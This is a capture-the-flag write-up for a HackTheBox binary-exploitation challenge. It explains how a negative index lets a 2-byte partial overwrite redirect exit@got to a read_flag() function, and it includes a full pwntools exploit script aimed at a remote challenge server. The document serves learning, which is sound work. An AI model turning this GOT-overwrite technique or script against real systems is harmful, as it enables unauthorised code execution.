Great Old Talisman
Great Old Talisman
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Zombies are closing in from all directions, and our situation appears dire! Fortunately, we've come across this ancient and formidable Great Old Talisman, a source of hope and protection. However, it requires the infusion of a potent enchantment to unleash its true power.
Solution Approach
Core idea: Calculating offset for exit@got entry. Utilizing 2 bytes overflow to overwrite exit@got.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
BINARY PROTECTIONS
-
After decompiled the binary and reviewing the code, found the vuln at the main() function where there's a read() function call to accepts 2 bytes but users can actually fill up to
input * 8 bytes. -
Knowing this we can overwrite pointer of exit@got and points it to what ever we want by modifying the last 2 bytes.
-
Checking for useful functions, found a function that seems to be our goal. It's
read_flag(). -
This function print the content flag to us.
-
Great! The exploit flow is:
- Calculate the offset for exit@got entry.
- Overwrite exit@got pointer to read_flag().
-
To calculate the exit@got entry, we can use GDB.
-
Awesome! Based from the result above, we can identify that we need to pass
-4(because offset calculation of talis to exit@got, remember the libc and pie calculations logic) as the input. -
Lastly, since we want to overwrite the last 2 bytes of exit@got with last 2 bytes of
read_flag(), we can use AND operations to address ofread_flag()with 0XFFFF. -
After executes the AND operations, packed the bytes result into
p16() bytes wrapper(half of 64 bit). -
Here's the full script:
SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') exe = './great_old_talisman' elf = context.binary = ELF(exe, checksec=False) ### context.log_level = 'DEBUG' context.log_level = 'INFO' ### sh = process(exe) sh = remote('94.237.62.195',49760) sh.sendlineafter(b'>', b'-4') ### read_flag = p16(elf.sym['read_flag'] & 0xFFFF) ### print(read_flag) sh.sendlineafter(b':', p16(elf.sym['read_flag'] & 0xFFFF)) ### gdb.attach(sh) sh.interactive()
Flag
REDACTED
Lessons Learned
- Calculating offset for exit@got entry.
- Utilizing 2 bytes overflow to overwrite exit@got.